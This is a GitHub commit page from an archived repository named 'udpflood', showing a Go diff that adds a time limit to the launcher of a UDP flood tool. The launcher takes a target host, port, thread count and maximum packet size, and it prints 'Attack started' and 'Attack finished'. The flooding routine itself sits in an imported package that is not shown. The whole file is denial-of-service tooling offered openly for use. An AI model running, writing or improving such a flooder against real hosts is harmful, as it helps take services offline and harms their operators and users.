Skip to content
This repository has been archived by the owner on Jan 13, 2024. It is now read-only.

Commit

Permalink
Feat: timeout
Browse files Browse the repository at this point in the history
  • Loading branch information
AH-dark committed Aug 26, 2022
1 parent 621c2e3 commit e09e324
Showing 1 changed file with 12 additions and 1 deletion.
13 changes: 12 additions & 1 deletion main.go
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,7 @@ package main
import (
"flag"
"fmt"
"time"
"udpflood/attack"
)

Expand All @@ -11,13 +12,15 @@ var (
_port uint
_threads uint64
_size uint64
_time uint
)

func init() {
flag.StringVar(&_host, "h", "localhost", "host")
flag.UintVar(&_port, "p", 8080, "port")
flag.Uint64Var(&_threads, "t", 100, "threads")
flag.Uint64Var(&_size, "s", 65507, "packet size")
flag.UintVar(&_time, "time", 10, "time")
flag.Parse()
}

Expand All @@ -26,6 +29,7 @@ func main() {
fmt.Printf("port: %d\n", _port)
fmt.Printf("threads: %d\n", _threads)
fmt.Printf("size: %d\n", _size)
fmt.Printf("time duration: %ds\n", _time)
fmt.Print("Attack started...\n")

fullAddr := fmt.Sprintf("%s:%d", _host, _port)
Expand All @@ -35,5 +39,12 @@ func main() {
return
}

<-make(chan bool, 1)
times := time.After(time.Second * time.Duration(_time))

select {
case <-make(chan bool, 1):
case <-times:
fmt.Printf("Attack finished\n")
return
}
}

0 comments on commit e09e324

Please sign in to comment.